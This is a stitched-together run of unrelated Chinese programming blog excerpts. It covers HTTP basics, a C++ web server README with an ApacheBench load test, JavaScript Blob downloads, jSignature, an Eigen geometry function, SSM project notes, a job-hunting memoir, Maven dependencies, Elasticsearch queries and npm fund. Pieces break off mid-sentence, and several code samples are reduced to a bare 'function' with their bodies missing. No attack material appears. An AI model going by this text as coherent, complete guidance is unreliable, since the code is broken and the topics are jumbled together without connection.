*URL(统一资源定位符URL)*来指明因特网上任何种类“资源”的位置。
组成:<协议>://<主机>:<端口号></路径>
举例:https://www.baidu.com:443/index.html
文档:HTML,CSS,JAVASCRIPT
HTTP协议: 定义了浏览器(客户端进程)怎么向万维网服务器请求万维网文档,以及万维网服务器如何把万维网文档传给浏览器,是因特网上应用最为广泛的一种网络传输协议。
图解如下:
HTTP/1.0:采用非持续连接的方式,每次浏览器请求一个文件都要与服务器建立TCP连接,当收到响应后关闭连接。这当然会造成请求多个对象(如图片)就会连接多次,每一次都会花费2RTT的时间。
多reactor模式模拟Proactor模式的C++高性能高并发HTTP服务器 github地址:https://github.com/1249302623/myWebServer
介绍 本项目为linux下C++11编写的Web资源服务器,支持web端用户实现注册、登录功能,可以请求服务器图片和视频文件,实现同步/异步日志系统,记录服务器运行状态,经压力测试可以实现至少两万的并发连接客户端,50s内处理请求200w个,0失败,每秒响应请求4w多个。
环境 操作系统: Ubuntu 16.04.12编译器: g++ 5.4.0IDE:vscode服务器配置:4核8G华为云主机数据库:mysql 运行 进入build目录,执行./LiuServerPro文件
必须在build目录执行,否则无法正确识别HTML文件
cd build
./LiuServerPro
运用技术 使用主从Reactor线程池模拟Proactor模式,reactor线程池充当Proactor的异步IO线程。使用Epoll边沿触发的IO多路复用技术构建Reactor线程池,主reactor线程只负责accept请求,并以RoundRobin的方式分发给从reactor线程。从reactor线程池在接收完数据后通知Proactor用户线程。构建Proactor用户线程池,对tcp数据进行处理,执行用户函数。使用基于小根堆的定时器关闭超时请求使用muduo库的buffer类实现高性能的输入输出缓冲区使用eventfd实现了线程的异步唤醒使用双缓冲区技术实现了异步日志系统使用状态机解析HTTP请求报文,支持解析GET和POST请求访问服务器数据库实现web端用户注册、登录功能,可以请求服务器图片和视频文件为减少内存泄漏的可能,使用智能指针等RAII机制重构了muduo库的框架,用继承和虚函数的方式代替了回调函数,框架更加清晰。 模型 并发模型为主从Reactor线程池(Procator异步线程)+用户线程池(Proactor同步线程)。
参考 本文主要参考自陈硕老师muduo库
https://github.com/chenshuo/muduoReactor线程池,有限状态机和定时器部分参考
https://github.com/linyacool/WebServer数据库连接池部分和HTML文件摘自
https://github.com/qinguoyi/TinyWebServer 测试 使用Apache Benchmark(简称ab)进行服务器压力测试,ab是Apache安装包中自带的压力测试工具.
输入命令:
ab -t 60 -n 2000000 -c 20000 -r -k http://127.0.0.1:8080/
命令解释:测试实现限制在60s,并发连接用户数2w个(2w并不是服务器的最大连接数,而是ab压力测试所能模拟的最大客户端数量),并发请求数200w个 ,保持常连接,出错时直接返回,结果如下:
可以看到,
完成请求200w次,0失败
每秒响应请求数41036次,
带宽21239.4kb/s,
最大请求响应时间797ms
演示 web端用户实现注册、登录功能,可以请求服务器图片和视频文件
https://github.com/1249302623/myWebServer/blob/master/TestPic/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%94%E7%A4%BA.mp4
1. 前言 以前下载一个文件,一般就是通过后端提供接口,或者通过window.open来下载,但是随着需求的发展,文件会动态生成或者文件会存放在一个专门的静态服务器上面,这个时候就需要前端直接下载了,通过window.open这种方式已经不能满足了,因为它只是打开一个新的页面,不是真正的下载。
那怎么办尼?
这个是很早之前已经踩过坑了,今天组内正好有人问我如何下载这些多媒体文件,想想还是把源码分享出来吧 ,省的以后人再踩坑 2. 利用a标签的download属性 通过download属性指定下载的名字,然后模拟一个点击事件,我们就可以简单的下载了,代码如下。
function 实际用的过程会发现,这个方法大部分情况下都会打开一个新的页面,而且有兼容性问题。
https://caniuse.com/#search=download download 兼容性测试 https://caniuse.com/#search=download 可以看到ie不支持,低版本的ios safari也不行,兼容性问题,下面会说,我们先来解决第一个问题,不是真正的下载,会打开一个新的页面的问题。
3. 利用 Blob对象进行下载 Blob(Binary Large Object)翻译成中文就是大型的二进制对象,不仅仅在js中有,在各种语言中都有,它是一种通用的数据格式,类似json一样,关于具体的作用啥的,可以看看阮一峰写的文章,今天主要提供解决方案。
Blob详解 https://javascript.ruanyifeng.com/htmlapi/file.html 直接上代码吧
// 创建blob对象 这样就可以实现不打开页面的下载了,接下来我们解决兼容性问题
function 演示地址: https://v4iyl.csb.app/ 所有代码 https://codesandbox.io/s/download-blob-v4iyl 4. 备注(遇到的坑) 4.1 如果项目中的fetch库是第三方的,比如说Axios,那只需要修改或者downloadBlob方法就好了,比如像下面这样
function 4.2 如果下载的是pdf格式,那就需要修改下requestConfig
function 好了,基本上这样吧,有什么问题,留言给我!
发现大家都是收藏党,为啥不点赞,好奇怪,如果用的上,记得点赞呀
pc或者移动端都可用
<div class="container"> <div id="signatureparent"> <div id="signature"></div> </div> <br> <button type="button" class="btn btn-primary btn-block" id="save">保存</button> <button type="button" class="btn btn-default btn-block" id="clear">清除</button> </div> <div class="autograph"> <img src="" href="img" /> </div> var param= { width: '100%',//签名区域的宽 height: '150px',//签名区域的高 cssclass: 'zx11',//画布的类 可以写自定义的样式 UndoButton:false,//撤销按钮的状态 这个按钮的样式修改要去jSignature.js文件中去找 signatureLine: true,//去除默认画布上那条横线 lineWidth: '1' //画笔的大小 }; $("#signature").jSignature(param); //jSignature提供了清除的API reset $('#clear').click(function () { $("#signature").jSignature("reset"); $("[href=img]")[0].src = '' }); //提交 $('#save').click(function () { //将签名的画布保存为base64编码字符串 默认是png的 var datapair = $("#signature").jSignature("getData","image"); var i = new Image(); i.
有一个参考的博客,大家搜一下就可以找到,这是我用到的用eigen库的
//pt 空间外一点 //begin-end 直线上的两个点 Eigen::Vector3d GetFootOfPerpendicular(const Eigen::Vector3d &pt, const Eigen::Vector3d &begin, const Eigen::Vector3d &end) //pt:point outside line { auto diff = end - begin; auto diff_sqr_norm = diff.squaredNorm(); if (diff_sqr_norm < 0.00000001) { return begin; } double u = ((pt - begin).transpose() * diff)(0) / diff_sqr_norm;; return begin + u * diff; }
一个关于ssm项目的简单实战练习 项目主要是参考的b站上的攀登网的水果商城的项目,前端资源都是直接引用的他提供的资源,后端使用的是springmvc+spring+mybatis+mysql,后端使用IDEA进行开发,数据库使用navicat,
主要是框架的配置 ,mybatis文件夹中的sqlMapConfig.xml进行mybatis的配置,注意其中的“别名”;
spring文件夹中有4个文件,applicationContext-dao.xml,applicationContext-service.xml,applicationContext-transaction.xml,springmvc.xml,主要进行一些整合操作,springmvc中还定义了jsp页面的前缀和后缀路径,这样在controller层可以更加方便进行页面跳转的配置等,另外db.properties,log4j.properties分别定义数据库和日志相关的一些量
WEB-INF中的web.xml的配置主要进行一些filter的配置。
项目还是和ssh项目类似,只不过多了controller层,以及mapper文件夹中,mapper接口,以及mapper.xml进行数据库与实体的一些映射关系,以及sql语句相关的定义
controller层主要是处理前端的不同请求,对应前端不同的请求,去到对应的方法中执行其中的代码,调用该controller类中注入的service,调用service的方法进行后续操作,
需要注意的是controller类需要在类的最上方进行注释@Controller,@RequestMapper("/user");以及其中需要用到的service的注入,例如需要用到userService,则 UserService userService(进行注入);
具体如下:
service层主要是接口,serviceImpl层是业务实现层
需要注意的是serviceImpl类上方注释@Service,表明这是一个service,也需要在其中注入需要用到的mapper类,UserMapper userMapper,调用mapper的方法,serviceImpl 需要 implements service,注入的mapper对象,需要在实现的方法中返回这个mapper对象,具体如下:
mapper层 主要是mapper接口,以及mapper.xml文件,mapper.xml文件进行sql语句相关的定义,以及查询返回的resultMap定义等,
需要注意的是数据库中实体类的对应关系,比如item商品中有很多评论,那它的resultMap中就有一个comment的list,有的地方可能会有association,select后面是对应mapper中的方法,将商品的id传过去,在comment表中找item_id = id的comment返回;
po层,主要是定义的各个实体类,注意实体类之间的关系
item中有comment的一个列表,
comment又有它对应的user对象,表明其由哪个对象发布
最后就是util中的一些实用类的汇总,这个主要是放一些实用类,这个项目中主要用到的实用类如下:
项目其实只要把基本框架搭好了,后面其实主要是设计逻辑相关的东西,分为了一个前端系统和一个后台的管理系统;
前端系统具体界面如下:
1 前端首页:
2.商品的详情页:
3 .个人中心页:
4.我的购物车页面:
后台管理系统页面主要如下:
其实整个项目的架构是很清晰的,但是实际开发起来还是会出现一些问题,比如他提供的代码有id属性,但是id是自增的,在我实现这部分功能时只能在mapper.xml中把id
去掉才不报500;
此外该项目目前还是很粗糙的,进一步的优化有如下:
1.密码存入数据库前的加密
2.登录注册等一些部分的提示信息的展示,比如密码错误等,这些目前都是没有的
文章目录 零、写在前面一、秋招的这段时间1. 学习时间线2. 每日时间安排 二、经验分享1. 需要准备的东西1.1 简历1.2 项目或实习1.3. 基础的知识 2. 需要学习的内容2.1 计算机基础2.2 语言基础2.3 框架2.4 数据库2.5 中间件2.6 常用的工具 3. 可能遇到的几大问题3.1 不要怕学的慢3.2 不要怕知识太难3.3 不要怕容易忘3.4 不要怕面试3.5 不要只有广度或只有深度 三、资源分享1. 笔记面经推荐2. 微信公众号推荐3. 复习必备的博客4. 书籍推荐5. 网课资源分享 四、写在最后 文章主要分为三大部分,第一部分是楼主的一个回忆录,仅作参考,如果大家时间有限,建议跳过。第二部分是秋招的经验分享,比较重要,建议还在找工作或者未来需要招工作的同学重点越多。第三部分是资源分享,大家按需自取。最后,如果觉得对你有帮助,可以点赞+评论+收藏,谢谢支持!!
零、写在前面 秋招已经接近尾声,有一些人取得了满意的offer,有一些人还在准备春招。这次秋招算是楼主在大学期间,印象深刻的事情,也是自己在学生期间,最后一次拼搏。
没有人天生是天才,记得在今年参与了各个公司暑期实习招聘,刚开始特定准备了一个表格,记录自己的投递进程。后来,表格上的公司越来越多,但是却都是石沉大海…
简历挂、笔试挂,一面挂…每一次失败其实心情都很沉重,但是总是笑着跟人开玩笑说:这都只是垫脚石而已~
没人愿意失败,上百次的失败,可能才换得一次成功,但是没有办法,确实太残酷了…现在想想:有时候机会不是留给那个最努力的人,短暂的努力很难有结果,只有坚持下来的努力才能有满意的结果。
这么长时间以来,经历了很多,最后用一篇文章做一个总结,希望给其他同学一点启发或者一点微薄的帮助~
一、秋招的这段时间 1. 学习时间线 这个时间线算是一个回忆录,仅供参考,可以跳过~能记录的这么详细,主要还是因为在学习的同时,会发表博客进行记录。做这个总结的时候也是再又一次回顾博客。
2019-12-17之前 那个时候自己已经决定了开始找工作,但是缺乏信息,这个时候没有老师也没有同学明确的告诉秋招的事情,意识不到重要性。自己在这期间参加了数学建模竞赛,也尝试在一个研究所实习,也在做一些科研,发表论文,甚至还准备了美赛,上课也是非常认真的听讲。不过好在断断续续的复习了Java的基础,算是打下了一个语言基础。
2019-12-17 当时参加了学校编程队的迎新大会,那个时间听到老师说有几个学长正在找工作,就向老师要了学长的联系方式。后面跟学长交流,才知道来年的春招就已经是就业的起点。这一天,我买了牛客网CyC2018的求职经验分享课程,这个课程对我意义重大,算是一门启蒙课,反反覆覆看了很多遍。课程链接。
2019-12-18 刚刚认识到要复习的内容真的好多好多(具体内容下面有详细介绍),真的很迷茫,那个时候才大三,还有好多好多的课程要上,从来不敢相信找工作竟然比考研还有早(我们学校宣传不够);自己太多不会,不知道怎么复习,最后发了一个朋友圈。后面一段时间就在计划以及准备期末考试。
2020-01-02 在复习期末考试的空闲时间,学习了Markdown语法,写了第一个Markdown文档,在CSDN上发表了人生第一个博客。当时想着,自己差不多从零开始(当然这个零不单单是真正的零,还是有一定基础的),而发表博客就是想记录我的学习历程,就像现在回顾起来的时候,充满骄傲。
说实话上面即使意识到秋招的重要性,也没有马上就紧张的学习。那个时候自己自己手头上有两个竞赛还有一些科研压力,并不能完全投入复习中,所以其实对我当时很重要的一点是:要清空手头上的杂事,同时在做规划,为全身心的投入复习做准备。所以当你决定要走一条路之前,要提前为此消除杂念,不然很影响效率。
2020-01-13至2020-02-17 13号开启了寒假的学习生活,那个时候每天的学习都会记录下来。第一个原因我当时给我自己学弟学妹制定了寒假的学习计划,开学后会检查,我自己也会以身作则;第二个原因是我觉得这段经历确实对我来讲很重要。中间并不是完全的连贯,其中有小年、除夕、春节等节日,也有我的生日,所以就稍微的休息放松。(修改时间的问题,可能因为移动了文件夹,具体内容的修改时间没有问题)这段时间主要还是学习的是Java高级部分,比如多线程;Java web相关;Redis、Maven等。并不是说学完了就可以面试了,那个时候学完,也仅仅是写个demo而已。
2020-02-24至2020-03-19:学习了SSM三大框架2020-03-20至2020-03-23:学习了JVM2020-03-23至2020-04-04:学习了网络原理2020-04-06至2020-04-12:学习了Mysq2020-04-25至2020-05-11:学习了Java高并发相关2020-05-14至2020-05-17:学习了Redis相关2020-05-27至2020-05-31:学习了Rockmq相关2020-06-01至2020-06-28:复习了期末课程,认真学习了计组和操作系统2020-06-28至2020-07-28:进行了第二轮复习,看了很多面经 2. 每日时间安排 因为一直没开学,所以选择离家比较远的自习室学习,下面是自己学习的一张图,会根据情况灵活调整具体的内容~
上面的时间仅供参考。其实,学习的时间并没有那么多,大概在8-10小时左右,远远比不上高中的时候努力。但是这个疫情带来的差距是巨大的,整整一个学期加寒暑假,少了很多学校的干扰,能在家坚持下来学习,进步绝对是巨大的!
二、经验分享 1. 需要准备的东西 1.1 简历 把这个放在一个讲,是因为作为学生,写简历的时候,会深刻的认识到自己的不足。
简历非常重要,不仅决定了你能不能进面试阶段,还决定了面试阶段能不能有好的表现**,面试很多就是针对的简历的内容的提问**
我的简历,从过完年开始写,写了很多版,不断的改进,随着能力的进步,不断的充实。千万不要赶一份简历,要保证简历和自己能力是随时匹配的,这样才可以随时投递简历,不错过任何一个招聘机会。
一个真正好的简历,不需要特别华丽的包装,一定要保证学校、应聘岗位等关键信息清晰明了。
简历模板上,我自己用的超级简历,有一些开源的html简历也是很优秀的。
servlet4.0.1与jsp2.3.3依赖包的导入
<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api --> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> </dependency> <!-- https://mvnrepository.com/artifact/javax.servlet.jsp/javax.servlet.jsp-api --> <dependency> <groupId>javax.servlet.jsp</groupId> <artifactId>javax.servlet.jsp-api</artifactId> <version>2.3.3</version> <scope>provided</scope> </dependency>
urisearch:uri传参查询 一、请求方式 :
get post均可
二、用法 @ip:@port/_search?q=@text ---------不进行索引(index)查询,从所有内容中模糊查询@text @ip:@port/@index/_search?q=@text ---------在指定的索引(index)中进行查询@text
@ip:@port/@index/@type/_search?q=@text ---------在指定的索引(index)指定typ中进行查询@text 6.X版本后可以无视type
@ipes数据库的ip,若为集群任意一个节点便可@portes数据库的端口号@indexes的索引,可大致看为表名@typees 类名,6.x后可以无视_search查询固定关键字q=uri查询中的关键字@text 查询的内容,用两种用法
第一种:直接填写要查询的内容,如:test
第二种:在指定字段里查询指定内容,如:.
a:test 解释:查询a字段中内容为test的
注:当uri查询和body查询同事存在时有限执行uri的查询 request body search:请求body传传参查询 一、关键字query,查询的逻辑主体 post /_search { "query" : { "term" : { "user" : "kimchy" } } } 查询字段user内容为kimchy的数据
用法在query查询快中添加查询子句即可
与uri查询类似 url也是由ip,port,index组成,其中index也可看为一个筛选条件,指定了本次查询的查询范围
查询分为两个部分查询和筛选,查询子句的行为取决于它在查询中还是在筛选中 查询中的子句会对查询的内容进行评分,通过评分来得出所查出的内容是否匹配查询子句
筛选中的子句会对查询结果进行筛选,得出所查结果是不是需要的结果(频繁使用的过滤器会被es缓存)
GET /_search { "query": { "bool": { "must": [ { "match": { "title": "Search" }}, { "match": { "content": "Elasticsearch" }} ], "
当你刚刚npm install 了一个新的插件之后一般都会报这个提示,并不是报错
当你执行npm fund时会出现以下
每一个https开头的链接打开都是一个网页,一般均为插件所在的github的地址,又有可能是开发者的捐赠支持, 比如
亦或者是
如果不想看到这段话,运行
npm install --no-fund